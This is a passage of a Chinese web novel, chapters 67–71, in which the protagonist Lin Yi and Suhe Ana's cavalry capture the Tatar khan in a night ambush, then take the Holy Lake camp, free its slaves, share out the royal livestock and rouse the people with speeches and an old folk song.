大约是为了路上携带方便,总不能公主和亲这样大的嫁妆阵仗,用几百台织机充数,贵重物品还是要占大头。而且也藏有魏帝萧宏的一些心思,雪域没什么像样的林子,木料资源少,织机技术我是给你了的,想用上你就用,反正我资助你的名声是传出去了,但也不提供原料。 和亲队伍里没人重视这些东西,守卫比较严的就是那些珍宝玩具,金银丝绸宝石瓷器漆器美酒等,这些百工艺品被孤零零摆放着,那不就几乎等于丢弃嘛! 反正林一趁着没人,打开上锁的箱子,就给拾走了。 自己飞去魏朝弄,一来织机不像长在地里的粮,不知道去哪弄只会耽搁时间,二来弄到手里,那么大一个织机又怎么扛回来呢?谁知道玉华公主就这么贴心,带的是小小的样机。 下一步也许可以等打完塔塔尔部,再薅一些工匠,也可能用不上,在薅之前就打下克烈部了,反正这一批人手林一是看上了。 折返的路上,苏赫忽律满脸不快,身后的马上坐着那名被赠送的媵妾,他再三说明苏赫部落没有奴隶,他不需要奴隶,这名叫小薛姑娘的女子就是非要跟着他。小薛姑娘还说她是书房婢出身,很会服侍人,还说了很多“会”的方面。 苏赫忽律都听呆了,为什么他一个大活人有手有脚需要被另一个人服侍吃喝服侍穿衣服?部落里的王澈已经够懒的了,连他都是自己穿衣*裳。还有磨墨,不是自己磨墨添水最能掌握浓黑度和份量吗?多顺手啊,为什么这也要别人做,魏人到底什么毛病啊? 不过乌苏也劝,说跟着那位玉华公主,可能还得被送人,就是不送给别人,在克烈部也不是好地方,不如带回去给她安排个工作,就当行善事。 苏赫忽律很勉强地把人带上了,他是真的对这种依赖性强的柔弱小姑娘没有半点怜惜之情,他很害怕被人依赖的。 格桑大娘虽然很好,但苏赫忽律不是傻子,知道除非叶利诃喝酒喝死掉,不然他机会渺茫,而强势又聪明的女人大多有些年纪阅历了。苏赫部落这些年不怎么打仗,寡妇基本都过了四十岁,他自己不大在意这些。女人年纪多大长得怎么样,对他这种心里只有王图霸业的男人来说并不重要,可是作为未来的王者,他也要注意影响的。 唉,世上就没有一个完美的,年纪又轻,又强势聪明,还会迁就他性格,助他成就大业的女人吗? 苏赫忽律决定把事情扔在脑后,这么多年没有女人的日子都过下来了,这种事愁两天也就算了,压在心里是很麻烦的。 想着想着,他忽然发现路线偏移了,刚要提出疑问,就看到前头林一嘎嘎大笑,飞马而出,不远处的连绵帐区明显是个人数不少的聚居部落,笑声中有大量的青壮涌出来,齐声欢呼着。 老大!老大!你终于回家来了啊! 第68章 作为新兴的部落,黑石部落的定位上有一些奇异。 按照雪域的标准,十万人以上称之为大部落,部落之主为“大汗”,在雪域语系里是王的意思,不是大部落之主不能称汗,当然也没那个死规定,就是你人口没那么多,称王也很尴尬的啊。 偌大的雪域几千年下来,能养活十万人以上的地域,也就是现在的塔塔尔圣湖流域,苏赫部大河谷平原,克烈部那其实勉强,是以大江沿岸和小河谷两地作为分部,常年由一两名叶护带领五万人别居。 一万人以上,十万人以下,就是中等部落,比如汪古部,也比如苏赫部的两个附属部族铁勒和兀鲁,大多数的中等部落都有其生存的本事,占不到最好的地盘,想要维持一个中等部落的水平不滑落也是需要生存智慧的。 黑石部落就属于小部落,类似林一之前去就食过的呼兰部落和札答阑部落,人口常年不超过一万人。但小部落也有区别,呼兰部落就属于小部落中的极强者,之所以部族人丁不兴,是因为他们有把青壮赶出去自力更生的习惯。一户人家假如生了五个儿子,那至少要赶走三个才行,处于强势的克烈部控制范围内,地域又很贫瘠无法养活更多人口,这是呼兰部落的生存之道。 可是黑石部落的人口构成又和普通的小部落天壤之别,一个三万人规模的中等部落,可战的青壮大多不会超过五千之数,而且是要算上一些老兵和健妇的,然后黑石部落呢?五六千号人都是正当盛年,除了穷之外再也没有缺点了,而穷的这块短板,林一决定让塔塔尔部给补上。 忽查是第一次见老大的部族家眷,骑在马上的苏赫阿那一身黑衣,身形高大,眼眉深邃而神光内敛,就算对老大的男人很挑剔,他暗暗挑剔了半天,也只得出一个缺陷。 发鬓上有点白头发了。 林一让人收拾了最好的帐子,这天气其实已经很好了,雪域人只要不是在最严寒的月份,都是很耐寒的,已经没人烧黑石取暖,而且许多青壮在自发动工。 从前督工拿着鞭子抽,都没能提升多大黑石产能,成立部落没过多久,明明林一的要求是让众人歇一歇,等到开春还要减少一些工作时长,要以身体为重。但她一走,总是有小规模的组织悄悄去动工,尤其是一家父子兄弟的,很好组织。 给别人当奴隶和给自己干活能一样吗?林一现在的规定可是个人挖的黑石归个人,只要要换资源时才尽量以集体单位来换取,个人挖的归个人啊!什么概念啊!现在谁帐子前后不堆着几个大黑石堆?别说歇着了,还有人抢着挖,偷着挖,夜里偷偷把别人家的黑石往自家堆上扒拉! 忽查叶护很兴奋地报告这些日子以来大家挖的黑石数目,林一点头,又说道:“跟汪古族长谈成了一笔生意,三千母羊三千母牛,种公各百,看着点,是要留着生小崽的,等生意完成,我这边给你带几个人,按照各家的黑石数分配牛羊。” 是的,就这点事在雪域也属于个大项目了,给脑瓜子不够灵活的人来干就等着混乱吧。 忽查点头。 林一又说:“这趟挑三千人出来,跟着我们的骑队走,这趟要把塔塔尔的大汗和左贤王抓起来,挑体力充足的,剩下的人记着生意的事,就这两天汪古的乌普族长会来一趟的。” 忽查还是点头,然后反应过来,啊?出去抓什么东西? 苏赫阿那已经习惯了林一讨论战事前总喜欢在桌子上铺个地图,这趟出来林一确实没带人,因为没料到可以说服苏赫阿那搞事情,但是没关系!她把塔塔尔部返程的路线描绘清楚,圈定了几个追击点,正要讲解一些作战计划,帐外帘子一掀,带进来些许春日寒气,苏赫忽律停在门口,脸色有一点奇怪,但还是侧了侧身子让进来一个人。 “阿父,可敦,这个小薛姑娘说,有人托她带话,是很重要的事,关乎我们的生死。” 苏赫忽律的眉头拧在一起,显然他没问出来什么,只是很朴素地把人带来。那小薛姑娘姿态柔柔怯怯,说话声音很轻缓,是接受过世族规训的习惯,怯声说起前因后果:“奴婢刚来的时候,就有一位姑姑来找,说会给奴婢留一条活路,但需要给苏赫大汗和可敦带一个消息……拔都大汗在小咸水附近藏了骑兵。” 苏赫阿那和林一对视一眼,崔殊捻了捻自己那两撇好笑的鲶鱼须须,沉声说:“看来想到一处了。克烈部中能得知此等机密的人不多,愿意带话的更少,以女子传话,主仆同为女子的可能较大,拔都汗身边有许多魏女汗妃,约莫是其中一个,不必多想。现在暂时不知兵数,走为上计,迎为中计,最忌不动……” 他还在秉承一个军师的职能进行分析,林一已经转身回到地图桌子前,很兴奋地圈住了小咸水的位置,又描了一下塔塔尔部的行军路线。 崔殊走到地图边一看,顿时有些惊讶地看向林一。 哦哟,天生的坏鸟啊! 春夜春寒,穆尔汗和一众骑兵就地安营,帐篷打实,点上黑石炉火,渐有烤肉的香气弥散开来。作为老牌大部落,塔塔尔部是把享受刻进骨子里的,尤其是王室贵族,吃羊不吃炖煮的,只吃炙烤的,烤羊要刷蜂蜜料汁。就算是路途上随便歇一夜,也是五六百个青壮一起搭手,立起最大的帐篷。 前后方圆三十米的大帐竖立起来,再由屏风分割成小区域,铺上带来的狼皮地毯,光是这趟忙活就给塔塔尔部的青壮弄得够呛。阿勒坦穆尔在一众汗妃里挑了个年轻漂亮的,带进屏风内隔的小睡帐里,他其实年老了很少有那方面的事,但身边不可一日没有女人陪寝。退一步来讲,夜里要伺候老头拉尿倒夜壶的。 其他汗妃也没有羡慕这个年轻妹妹的意思,谁还不愿意睡个好觉,非得去伺候老头。左贤王霍都那儿就精彩一些,他自己也带了一些妃子,除了妃子还有女奴,他的儿女数目不少,大多不是和雪域女子所出,当然也不是魏女。他的口味特别一点,就喜欢高大的白奴女子,和白奴生了许多混血儿女,反正这个爱好让右贤王阿勒坦赤那很是厌恨。 谁懂出门走几步就遇到白奴混血面容的惊怒?老子看你是没挨过苏赫的毒打! 霍都也是个生意人,这趟谈成了好几桩联姻,可以得到更多的中小部落的忠诚,距离他打压右贤王的目标更近了一步!作为奖励,他把这趟定好婚约的女儿,她们的生母叫来,准备这些天挨个宠幸宠幸作为安抚,今天他精力很好,可以安抚两到三个。 入夜,大帐里睡觉的睡觉,睡觉的睡觉,忽然有金鸣鼓响,惊破梦乡。 一支二百人左右的骑队踏破大帐,踹帘扯布,发射了几轮箭矢后撤走,随后又换了一队,穆尔汗从睡梦中惊醒,连忙组织人手抵御。他们是在路途中,可没有犯人马分离的错误,不多时千人骑兵组织完毕,穆尔老头还是严谨一些,只想搞搞防御,其余等拖到天亮看清对面人数再说,但是霍都已经带着一拨人追上去了。 他奶奶的,肯定是小部落的游匪,不为伤人只为抢劫,撸了他手上三个宝石戒指不说,还把他谈好价钱的两个女儿掳上马了! 穆尔汗没法子只能上马追着走,他其实心里头有一些怀疑,但这怀疑太可怕让他不愿意深想,前头霍都的身影渐近,他大声呼喝:“霍都,回来!不要硬碰……” 话音未落,小咸水畔一支人数在两千多的骑兵冲杀出来,最前面的几十人马速有种诡异的缓慢,一看就是重甲在身,坏了,这是冲我们来的! 霍都直接被迎面裹挟上马,后头的骑兵怒气冲冲跟随前面的重甲兵追杀出来,时不时张弓搭箭。 塔塔尔部的骑兵顿时出现溃散迹象,老可汗临危不乱,喝令指挥,对面人数虽然多于他们,但是这趟他带出来的都是塔塔尔部的老骑兵,两军交战只要不乱,必是鏖战。 而最开始的那几十重甲,却混在人群里渐渐散到边缘区域,像是普通的溃兵那样溜掉了。 夜尽天明之时,双方逐渐照面,阿勒坦穆尔在重重亲卫的保护下,老脸上只有几滴飞溅的血,对面的骑兵已经不再冲杀,时不时发射些箭矢,领头的定睛看去,骑在马上都觉得腿一软,眼前一黑。 艰难打了一夜,他还以为打的是苏赫阿那!还沾沾自喜来着,怎么是你这么个老东西! 阿勒坦穆尔也看清了对面,顿时恨声骂道:“果然是克烈人!” 两面正要对质之际,远处有马蹄声传,大量箭矢瞬发而至。苏赫阿那策马在最前方,牛角弓拉成半圆,箭出如流星。乱军阵中,一箭射穿克烈头领的颅骨。 林一正按着不住扑腾的霍都,这一箭给她看愣了,目光下意识地落在苏赫阿那的身上。 男人和战场,真是令鸟兴奋的搭配啊! 第69章 春季早晨,雪域的空气是非常新鲜的,带着冰雪的余韵和新生草木的芬芳,林一深深呼吸了一大口,是她非常喜欢的自由气息。 已经人身不再自由的阿勒坦穆尔和霍都两父子无暇欣赏空气,老可汗昨夜也是遭了大罪,这会儿本就显老的面容看起来更加沧桑,勉强挤出一点可怜相,对苏赫阿那说道:“苏赫大汗,我向来不曾得罪,不知这是因何啊?” 先是克烈伏击,再是苏赫包抄,阿勒坦穆尔是真的没明白,把他杀了有什么意义,这不是给右贤王上位机会吗?他向来软姿态,绝对不曾得罪人。 苏赫阿那接过亲卫递来的湿水帕子擦洗干净手脸上的血液,检查了一下身上没有擦伤箭伤之类,闻言有些无奈:“大汗不曾得罪我,可战事一起,岂独善人得免?” 更何况你阿勒坦穆尔是什么善人呢? 林一很喜爱战后搜刮战利品的环节,正在带领黑石部人嘎嘎笑着去摸尸摸俘虏,哪怕只是搜到一把完好无损的铁刀也会嘎出一声来,何况搜的不止是武器。 带血的皮甲扒下来,御寒的毛皮扒下来,马具扒下来,裤带……裤带是一定要扒的,雪域人的裤带虽然不像魏朝世族那样有些金线银绣坠宝石珠玉,那也是皮革的,结实又耐用。黑石部落这些前矿奴可用不起这些好东西,好多人就算被支援了物资,也没舍得穿,一身破毡衣带个小铲到战场上来的不知凡几。 苏赫骑兵不动手,骑在马上观望四周,但就算是这样,这趟出来三千黑石部人,把塔塔尔部连大汗带左贤王一千多号人全部摸一遍,也没能装备到所有人,有的还争抢起来。雪域人的争抢很有效率,最强壮的抢到兵器,其次抢衣裳皮甲,然后是一把零碎物件。 倒也有人去摸霍都的镶彩宝金刀,到手就后悔了,后悔没去捡亲卫的大砍刀,这金刀的刀柄干啥也镶嵌宝石呢?握起来好膈手啊! 阿勒坦穆尔这边还在和苏赫阿那说话,林一窜过来一趟摘了他毛茸茸镶着一块华贵白玉的雪貂帽,过了一会儿忽查摸走了他的腰带坠,又掏了掏兜,发现兜里很干净什么都没有,于是啐了一口走掉了。 苏赫阿那神情不变,声音沉稳道:“有劳大汗父子前往黑石部落暂住一段时间,等平定塔塔尔后再论其他。” 阿勒坦穆尔还要再求,霍都已经回过神来,颤声说道:“苏赫大汗不如放我回去,右贤王势大,想必得知消息后很快控制本部,如果我回去,必定献上部族,投诚贵部。” 苏赫阿那只是礼貌地笑了笑。 收拾完战场,林一把阿勒坦穆尔和霍都一手一个拎起来扔到辎重车上,对苏赫阿那说道:“这次调五千本部骑兵,再借五千战马,我带着他们去塔塔尔,你自己一个守家,能不能行?” 苏赫阿那给林一理了理凌乱的头发,点头。 苏赫部落经营几十年,战马是最宝贵的财富,平均一个骑兵家庭照料两到六匹马,可用的战马必须是青壮年,以性格稳定的阉割公马为上等好马,这通常也是苏赫骑兵的主马。林一本来想借用一些母马替马,但这次出借,苏赫阿那仍然四处凑了凑,给了一批好战马,战场上马是很重要的装备,一匹劣马可能断送一个青壮的性命,不得不如此。 从备战到出发耗时不到十天,林一带着整编过后的一万骑兵上路。上次她打辽东不过带了八千骑兵,这次人数更多,但黑石部骑兵战力上是薄弱一些的。有的从小就是奴隶没有接触过战马,也有些中小部落被抓来的矿奴,本身有骑射经验。趁着在路上的时间,林一让他们组成小队,以老带新,没几天就熟络了。 韩小六带着他的百骑,每天都很兴奋地在前面行军。 他在魏朝可从来没有带兵的机会,他是被带的那个,那时候他总觉得自己的将主脑子有包,但从不敢表露。 他的经历在魏朝兵丁里算是多的,经历过好几任将主,从地方守将到洛都将门世家子,韩小六这辈子没服气过谁,就算是用兵如神的江骋……啊对,此处不是贬义,韩小六是真的觉得江骋用兵如神。他没能从治军用兵这些方面看出丝毫破绽,不满的是江骋严苛,对内对外双重标准。 在送嫁途中,江骋经常带兵剿匪,他能做到几乎无伤亡,而在实际操作过程中,江骋的家将部曲在军中是第一位,吃喝待遇最好,其次洛都禁军,再次玉门守军,他是直接把差别待遇摆在明面上的。 打仗也是,守军需要做先锋,禁军打边鼓,江家部曲是冲杀,是收割,是去除掉最大风险后的单纯杀伐,战后又有第一批拿战利品的待遇。 现在行军上路,韩小六不自觉地模仿江骋带兵的节奏,回忆他的每一个治军要求,凭借他自己被带的经验开始领兵,逐渐体会到了做将主的快乐! 不是浴雪粪战,是真的带兵打仗! 林一完全不了解韩小六脑子里在想什么,但她发现韩小六有一个很大的好处,他很能把控行军节奏,像她一般是比较难把握的,因为她压根不会因为骑着一匹毛茸生物走走路而感到疲惫。她的战马大肥别看肥壮,实际上是马中的耐力王者,真正的宝马良驹,连苏赫阿那都说非常少见,他也只有年轻时有过一匹,那匹马王活了二十七年,直到临终前一年还能日行二百里,在野马群里称王。 人马不疲,是比较难观察到行军队伍的疲劳程度的,之前林一一般在身边放个体力差的随时观察,现在有了韩小六,她完全实现了解放双眼,全军上下跟着韩小六走走停停,竟然不怎么费劲地又实现了行军效率。 这时节不必担心草料,林一又熟知水源,自黑石部落集合出发,这趟是携带了必要辎重的,不可能去打塔塔尔部还从沿途部落取食,那附近的中小部落是人家塔塔尔部的附属啊,所以后军携带大量铁勒高车拉辎重。 王澈崔殊坐一车,王澈是行军前林一特意又带上的,主要是考虑一些打下塔塔尔部后的工作。行军前两日,两人还能风雅地在车里煮茶论道,第三天屁股疼,第四天感觉浑身颠散架了,第五第六天,两个文弱世家子弟怨气比鬼都重,得知还要绕行一日在丘陵扎营,感觉脑壳要炸了。 彼时大军正在一块平地上休整,埋锅造饭煮奶渣汤,王澈和崔殊一瘸一拐地从后军过来,没等林一开口,崔殊先道:“主君,我们不如挖些陷马坑洞,待塔塔尔部骑兵赶来,一坑一个,马折蹄就死,先坑一批再说。” 王澈揉着腰说:“俺有一计,附近有几个小部落,先屠干净,收掩尸骨,俺都住下,放牧牛羊一如往常,掩人耳目,夜来再屠周边,直到塔塔尔部孤立如何?” 林一看着两个犹如从地底爬上来的怨鬼,有些委婉地说:“总待在车里肯定颠簸烦闷,要不然你们先骑两天马?” 结果两人纷纷摇头,坐车散架是散架,骑马磨裆更疼。 林一当然不听这一对阴间版卧龙凤雏的计策,有时候缺德军师是很有用的,但大多数时候光缺德是打不了好仗的,她要是外来的魏将肯定就这样打,打出血淋淋的威风来!可她也是住在这雪域的人,这么大一个塔塔尔部,难道都给杀空了不成? 所以杀死的只能是很小一部分,她要的是完全接受这块地盘,包括地盘上的部民和牛羊。 塔塔尔部主要有两个聚集地,公主城和圣湖沿岸,其中公主城是二百多年前那位靖容公主所建。公主城落成不久,她的人头也被挂上了城头,但偌大的城池设立之初,本身是有战略意义的,是想要在雪域建立一座不亚于洛都的人口中心。公主城附近有圣湖支流环绕,沿岸养活不少中小部落,是一个天然的聚集地,也是现在的塔塔尔大汗所居之地。 圣湖沿岸则是塔塔尔部的老根据地,右贤王赤那一年在那住六个月,剩下的四个月包含新年在内,他也会住在公主城中的右贤王府邸,毕竟公主城奢华,住这里才叫享受。 今年新年不久,右贤王还没启程,他每次来公主城都会带上麾下精锐骑兵约莫六千人,而圣湖沿岸的塔塔尔部民几乎没有多少青壮,每天放牧牛羊,打渔下网,日复一日,不曾有变。 林一观察公主城和圣湖一带后,决定先打圣湖。这地方物产颇丰,按理过得不应该太辛苦,但塔塔尔部不同,为了供应公主城的奢华生活,附近的中小部落和圣湖本部的部民终日忙忙碌碌,唯一活得比黑石部人好的地方,大概就在于没有督工打骂了。 公主城的“贵人”和魏朝世族如出一辙,并不是把部民当子民看待的,而是资源的一部分,少年男女是优质资源,年老的人同样会被抛弃。为了不被抛弃,必须从年轻时就开始努力干活,努力生孩子,给部落创造更大利益,才能在老年时得到一句“是个有劳之人,再养活几年”的评价。 林一马踏青草来到圣湖附近时,早就有蹲在草地里捡虫子拾牛粪的小孩子远远跑来观望,塔塔尔部的小孩子有一个显著特征,没有上衣穿,仅在屁股上围一圈毛皮之类。 此时春寒刚散,他们时不时就会用粗糙小手摩擦皮肤取暖,带着两坨红斑的小脸抬起来,黝黑眼珠好奇地张望来人。 第70章 圣湖塔塔尔部非常不像一个大部落的样子,帐区不够集中,没有骑兵巡逻,青壮离家,老幼留守,这些老幼却负担着整个部落最辛苦的劳役。 林一直接在帐区沿岸开始扎营,直到营地快要扎好,才有塔塔尔部的牧民官过来查问,连态度都是很谦卑的,语气很委婉地说:“这位大人,请问您是来做什么的呢?这里已经到塔塔尔部了,在这里扎营是否有些……” 鸟大王露出一个和善的笑容。 夜晚时分,劳作了一天的塔塔尔部民往帐区走去,他们比小部落唯一好的地方在于活虽多但人口也多,得以有良好的分工。放牧的活计辛苦,大多是四十岁以上五十岁以下的半老头子和健壮妇人承担,捡牛粪这些和其他部落一样,是小孩子和少女去做。圣湖附近有山林,但平民和奴隶不可砍伐,是和黑石一样专供贵人的,所以也只有牛羊粪便做燃料。 除此之外还有打渔人,由年老的渔把式带领圣湖本部难得的留守青壮来做。打渔辛苦,是按月算例,今天空军明天需要翻倍捕获,完不成定额就要罚,有时候集体挨鞭子,有时候罚没口粮。渔队上下也是最没有欢声笑语的地方,从渔把式到拉网力工常年都是一副眉心竖纹嘴角下弯的沉重姿态。 乌力是个典型的拉网力工,他是个白奴混血,在部落里属于不怎么受待见的平民,成年后没有成为骑兵的渠道,只能去干力气活。 父亲那一支不认混血,他长到十岁就开始带着白奴母亲过活,按照塔塔尔部的规矩,母亲是属于他的奴隶,他有权贩卖转让或者平换。他从小的好兄弟,现在已经闹翻的同为混血的某人,就是卖掉了母亲换了一个半大女孩做童媳的。 乌力不肯这样,他和白奴母亲语言不通,但他很小的时候生病,母亲宁愿被人打骂也要冲进帐子里抱着他,一边挨打一边唱白民小调,来安抚烧得昏沉的他。 他一直记着那支欢快温柔的小调,等到离开父亲的帐子,接手了人生唯一一个奴隶,他慢慢就成了部落里“一个奇怪的青壮”。他不让高大却瘦弱的白奴母亲做力气活,不让她为了几块奶酪茶砖去接待“客人”,甚至把帐篷外迁,避开他人视线和母亲一起过活。 今日仍然是周而复始又劳累的一天,从船上换班下来,乌力感觉自己浑身都要散架了,也没有什么精力和母亲说话,疲惫又沉默地躺进破烂的羊毡小床里,他的母亲给他端来一碗奶渣汤。 看到奶渣汤,乌力一下子就坐起来了,大声呵斥:“你又做那事了!你难道还想再怀孕一次吗?只是为了这么一点点奶渣,我明明可以养活你的!” 高大又瘦弱的白奴只是喏喏应声,她根本不懂这些火气是因为什么。 乌力又叫又骂,最后自己呜呜地哭了起来,这时外头忽然有人喊他,很兴奋的声调:“乌力,乌力!快出来,大坛那边有贵人要讲话!叫所有人都去开会,真奇怪是不是?几万人的大会那不是吵死了,难道贵人能叫所有人都听见他讲话,哈哈!” 贵人要讲什么,乌力压根没有心思听,但他还是沉默地套上毡衣,没有理母亲往帐子外走去,他有几个怀疑对象,准备等散会后挨个询问,问出来就狠揍一顿。 大坛是塔塔尔部的祭天之地,重要的祭祀礼已经被挪到公主城的宫殿里,但这里的大坛历经几千年沧桑,周围立着许多石碑。石碑都是塔塔尔部历史上强盛的君王祭祀时所立,有的是敬告上苍自身的功绩,有的是意气风发点算今年部落的人口和牛羊,也有的是娶妻生子,立碑庆贺。其中最出名的一块公主碑,则是当年靖容公主掌权后第一次祭祀时所立,通篇魏文大篆,不知其意。 反正林一是看不懂,她连小篆都连蒙带猜,别提大篆了。 她一脚踩在大坛边缘,底下都是黑灰白骨,塔塔尔部的祭祀是人牲,多用白奴或者魏奴,大多是年老有病者,奴隶一旦干不动活,就需要杀死或者驱逐。哪一年攒了许多老病奴隶的话,就会来一场盛大的人牲献祭,不是单纯的残暴。 人口逐渐聚集起来,不时有小孩子蹦跳穿梭其中,发出一些尖叫欢笑,孩童生命力旺盛,即便是很辛苦的生活,也很少能到让孩童一起沉寂的地步。 林一一直等到夜色黑沉,点起火把,反而能让大坛底下的人更好地看清她面容,她一直没说话,此时忽然开口,声如雷震:“你们都是我的俘虏,从现在开始需要听从我的安排,我已经打死了牧民官十二人,现在大坛边有属官三百七十七人,他们平时主要负责牵走你们的牛羊,拿走你们的渔获,欺负你们,打骂你们,现在有没有人要上来报复的?敢见血的,我让他脱离俘虏身份,奖励十只羊!” 在场人数约莫有个快四万多,整个塔塔尔圣湖本部也就五万多人,有的住得实在远,甚至在湖那边了,有的是船上的渔队,虽然林一声音很大,但圣湖辽阔,最多能让大坛周边的几万人听个真切。 当场就有二三十个人越众而出,局促但兴奋地从黑石部人手里接过小铲,往那些属官身上头上打去。 乌力也想出去,但他身边的邻居按住他,压低声音说:“别冲动!还不知这贵人目的哩!” 林一再次开口道:“我来自苏赫部落,你们知道苏赫阿那吗?是我的男人!他规定苏赫部落没有奴隶,所以脱离俘虏身份之后,你们就是苏赫部落的平民,哪怕以前是奴隶的,也都一笔勾销!” 立刻就有上千的塔塔尔奴隶往大坛上走,起初迟疑,越走越快,接过小铲邦邦邦邦殴打属官。 乌力的邻居是个谨小慎微的魏奴混血,还是劝告拉住乌力,“……再看看,再看看,也许是想拉拢人心呢?出头的椽子先烂,万一是假的就不好了。” 此时林一又嘎嘎大叫道:“塔塔尔部的黑石矿已经被我建了新部落,叫黑石部落,挖出来的黑石归自己!同样的,对你们而言,就是自己的牛羊归自己,不替贵族老爷放牧!就是自己的渔获自己得,烂在地里也不给人抢走!这么多的人怎么就全是孬种?每天天不亮起来干活,天不黑不往家走,就是为了饿肚子的吗?守着一块宝地饿肚子!真给你们能死了!” 圣湖啊!物产丰富的地带,沿岸的土质甚至可以少量耕种,水草丰美养牛养羊,湖里捞鱼,天上射雁,偏偏大家从早干到晚还没个温饱,都供养公主城去了! 乌力几乎是拖着他那位邻居老哥往前走了。 “大家有儿女在公主城的,也不要担心!虽然我们这趟带了万人骑兵,但是会尽量避免打仗,你们也要劝劝你们的儿女,他们是为啥要和我们打仗?守家守你们吗?我人都在这里了!他们是在守塔塔尔部的贵人们啊!” 已经有人哭泣起来,面对苏赫部落装备精良的万人骑兵,他们这些老弱病残能怎么样?奋起去送命,叫人家疲惫歇息几天吗?原本塔塔尔部就很惧怕苏赫部的,右贤王都是被打回来的。 乌力和邻居老哥一起接过了小铲,乌力找到了一个经常来他家欺负母亲的老属官,对准他的脑袋邦邦来了两下,第二下就见了血。 林一立即喝道:“给他记名!给十只羊!” 明明已经在船上劳累了一天,*连敲人的手都在颤抖,但乌力就是心里有一团火在烧,烧得浑身发烫,他脑子里没有很多事情,就是迷迷糊糊觉得,天好像变了。 次日雪域天晴,林一已经由本部人带路在右贤王的金顶大帐睡了一夜,右贤王阿勒坦赤那喜爱享受且男女不忌,他甚至还更加偏爱魏家男子一些,老头玩得很花,林一照着酥油灯看过了这些后宫花,表现得很正直,她还是喜欢健壮的。 当然,留在这里的基本上没有受宠的,受宠的人家长居在公主城了,这些人交给王澈和崔殊,林一挺期盼能在里头翻出几个人才来的,但是两个怨鬼去了一趟,回来就是摇头。 老头玩得太花,人已经半废不废的了,有一个精神不太好的,连字都不会写了。 林一只能叹气,安睡一夜,次日起来巡视圣湖沿岸的帐区,她准备先把十只羊给到位,至于她其实没带羊来?不打紧!塔塔尔本部可是养着大量牛羊的,名义上属于王室的资产,分!挨家挨户地分! 中午林一宰杀了一批羊,烤制的只是很少一部分,出点香气而已,大部分的羊还是杀来炖汤,这样能分润的人多一点,别说雪域部落人三天两头吃牛吃羊,放什么屁呢,那是苏赫部落! 塔塔尔的部民因为靠圣湖而居的缘故,基本上吃的都是一些野菜水草,湖鱼奶酪,少量粟米青稞,看这一个个都瘦成什么样子了? 来!慷慨大鸟请你们吃羊!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 林一喜欢吃烤羊,羊汤差一点,主要是雪域人烧羊汤一点都不肯浪费,内脏是一起切块下锅的,吃起来难免有味儿,不过常年沾不到太多油水的塔塔尔部民才不管这个,只担心能不能分到一碗。 暂时没人敢来帮忙宰王室的羊,苏赫骑兵和黑石骑兵一起杀的羊,又找渔队换了些鱼来一起下锅,倒不是雪域人知道鱼羊一起炖好吃,而是这样可以增加一些肉类分量。轮到打饭时,一人分一大碗鱼羊鲜汤,碗里几块肥嫩羊肉带一层铺碗底的鱼肉糊糊,连王澈崔殊喝着都不嫌粗陋,更别提塔塔尔部民了。 乌力有些紧张地端了碗,准备拿给母亲喝,一转头却见那个打饭的年轻魏人面容的骑队长朝着母亲比比划划,虽然言语不通,但他一下子明白这是叫母亲回家拿碗。 他忽然端碗愣住。 奴隶也可以分一碗的吗? 奴隶当然可以分一碗!林一可没有养奴隶的想法,她和苏赫阿那是一样的,认为奴隶不应该存在。她自己本身就等于半个奴隶了,战奴也是奴,有的人一朝翻身恨不得把从前的自己踩进地里,也有的人自己吃过苦再也见不得别人吃苦。 她其实挺奇怪的,百鸟帝国花多少工夫才弄出系统芯片控制源生战士,这里的平民可没有被控制啊!松果体里没有芯片的情况下,为啥那么多人就想不起来一铲子敲在贵人老爷脑门上呢?一小撮人能镇压所有人吗?又不是神仙。 韩小六一天就剩比划了,看着那瘦巴巴的中年白女端了不大的碗来,他手举干净的复合工兵铲往锅底一捞,满满的一铲羊肉和些鱼泥扣实了打进碗里,真的很实在,只带一点点汤。 白女很高兴地给他比划着什么,韩小六摆摆手,叫了下一个。他是很看人下勺的,小孩子会多给,老人会多给,奴隶会多给,渐渐地很多人到他的大锅前排起长龙了。 林一也打了一碗喝,她喝的是纯鲜汤,油乎乎热腾腾的一大碗,喝完照例是演讲。 很多人手里肉汤还没吃喝干净,有人舍不得吃,有人来不及吃,林一让他们边听边吃喝没关系的。乌力和母亲难得在公开场合坐在一起,他看了看周围,第一次没有好面子地推开母亲,看着她黝黑干瘪的手从碗里捡了两块很肥的羊肉放进他碗里。 “你吃,不要给我。”乌力瓮声瓮气地说了一句,见母亲还要比划,指了指大坛,“可敦要说话了,她让吃。” 林一今天的演讲主题是,肉好吃吧?以后天天吃,圣湖沿岸有种植粟米青稞对吧?以后有更好的主食让你们种,不用再承担严苛的劳役了,大家配合她推翻塔塔尔的王室贵族,以后自己干活自己吃饭,可以过得像苏赫部落那样越来越富庶。 演讲稿大部分是林一想到哪里讲到哪里,她天生的会煽动人心,以前在飞舟里没少撺掇队员开飞舟跑路,能活几天就活几天,可惜没鸟理会,这里的民众却很好说通,多质朴的原始人啊! 只有一点部分是王澈润色,让林一教唱了一曲。曲名《击壤歌》,很朴素的乡野古调,讲的是个古籍典故,是说古之帝王尧在位时,有人见老叟于路旁击壤玩乐,便以称赞尧德,老叟却击壤而歌,唱:“日出而作,日入而息,凿井而饮,耕田而食,帝力于我何有哉?” 帝尧统治的太平盛世之下,老叟认为自己的美好生活来自日出劳作,凿井而饮,耕田而食,并非帝王之力所加之。 歌是否有这样的来历不清楚,但能流传下来就被赋予了某种思想,是圣人的思想,圣人觉得歌是美好的,所以这种不符合帝王喜好的古曲被流传了下来。 所谓圣王垂拱而治,可不是指皇帝什么事都不干,交由贤良之臣来治国,前者那是儒学基操,夹带私货。真意是说一个圣人皇帝的状态,就是让民众几乎感觉不到圣王的存在,甚至看似圣王是吃干饭的。是帝王不去征取民众的财富,不要求奢靡的生活,但要承担圣王之责,保护民众日出而作日入而息的和平生活,达到民众眼中的“帝力于我何有哉”。 反正林一是没懂,她的主题思想就是个人归个人,自己干活养自己。 底下的塔塔尔部民能听懂的也不多,但听懂了个表面,他们以后的日子会是这样的美好吗?日出而作日入而息,自己做来自己吃,大汗和我不相干? 梦里也不敢这样想啊! 日出而作,日入而息,凿井而饮,耕田而食,帝力于我何有哉! 古老的《击壤歌》在嘎嘎声中逐渐响彻春季的雪域,风里带着青草的气息。 今日演讲完,林一召集人手在右贤王大帐里开会,具体成员有:缺德军师两名、辽东战后升任千骑的秃发兀耶、叶撒千骑、黑石部落的叶护忽查,还有韩小六和呼兰三兄弟。 